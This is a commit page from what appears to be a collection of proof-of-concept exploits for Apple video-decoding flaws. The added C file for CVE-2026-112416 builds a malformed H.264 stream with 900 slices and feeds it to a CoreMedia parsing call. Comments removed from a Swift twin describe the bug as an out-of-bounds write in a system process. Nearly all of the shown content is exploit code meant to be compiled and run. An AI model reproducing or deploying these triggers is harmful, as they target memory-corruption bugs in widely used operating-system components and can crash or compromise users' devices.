v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+72
View File
@@ -0,0 +1,72 @@
// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
// H.264 slice count beyond the plugin cap
// C twin of the Swift POC: builds the 900-slice AVC stream and drives it through
// CMVideoFormatDescriptionCreateFromH264ParameterSets.
// Build: clang -O2 -o cve-2026-112416 CVE-2026-112416.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
// Run: ./cve-2026-112416 [slice-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── seed construction (from Cinder27 Sources: VideoPayload.avcManySlices) ──
static buf avc_many_slices(int slice_count) {
buf out = {0};
bcat(&out, "\x00\x00\x00\x01", 4); // start code
bcat(&out, (uint8_t[]){0x67, 0x42, 0x00, 0x1E}, 4); // SPS
bcat(&out, (uint8_t[]){0xE8, 0x38, 0x00}, 3); // exp-golomb fields
brep(&out, 0, 8); // structurally plausible tail
bcat(&out, "\x00\x00\x00\x01", 4);
bcat(&out, (uint8_t[]){0x68, 0xCE, 0x38, 0x80}, 4); // PPS
for (int i = 0; i < slice_count; i++) {
bcat(&out, "\x00\x00\x00\x01", 4);
bcat(&out, (uint8_t[]){0x65, (uint8_t)(0x88 | (i & 0x03)), 0x84, 0x00}, 4); // slice header
brep(&out, 0, 4);
}
return out;
}
// ── trigger: parameter-set parse through VideoToolbox ──
#include <VideoToolbox/VideoToolbox.h>
#include <CoreMedia/CoreMedia.h>
#include <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
int slice_count = argc > 1 ? atoi(argv[1]) : 900;
buf data = avc_many_slices(slice_count);
FILE *f = fopen("avc_900_slices.h264", "wb");
if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
CMFormatDescriptionRef format = NULL;
const uint8_t *ptr = data.d;
OSStatus status = CMVideoFormatDescriptionCreateFromH264ParameterSets(
kCFAllocatorDefault,
1, // one parameter set: the first 4 bytes, as the Swift POC passes
&ptr,
(size_t[]){4},
4, // 4-byte NAL unit header length
&format);
printf("CVE-2026-112416 · %d slices in stream · OSStatus %d\n", slice_count, (int)status);
if (format) {
CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
CFRelease(format);
} else {
printf("no format description produced (rejected at entry)\n");
}
printf("seed: avc_900_slices.h264 (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
int rc = status == noErr ? 0 : 1;
bfree(&data);
return rc;
}
+4 -18
View File
@@ -1,22 +1,8 @@
// vid.avc · AVD.videodecoder 插件(非 kext) · CVE-2026-112416
// 原语: OOB 写 · 系统进程 · tier 2
// Primitive: OOB write · system process · tier 2
//
// [zh] AVC 切片数量上限缺失
// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为
// MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。
//
// [en] AVC slice count cap missing
// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not
// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation,
// and 112454 replaces the histogram IOSurface pointer with a random cookie.
// ── 判别 / oracle ──
// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession,
// 以插件自身错误码判定。
// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
// AVC slice count cap missing
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
// ── seed construction (from Cinder27 Sources: VideoPayload) ──
enum VideoPayload {
static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
var out = Data()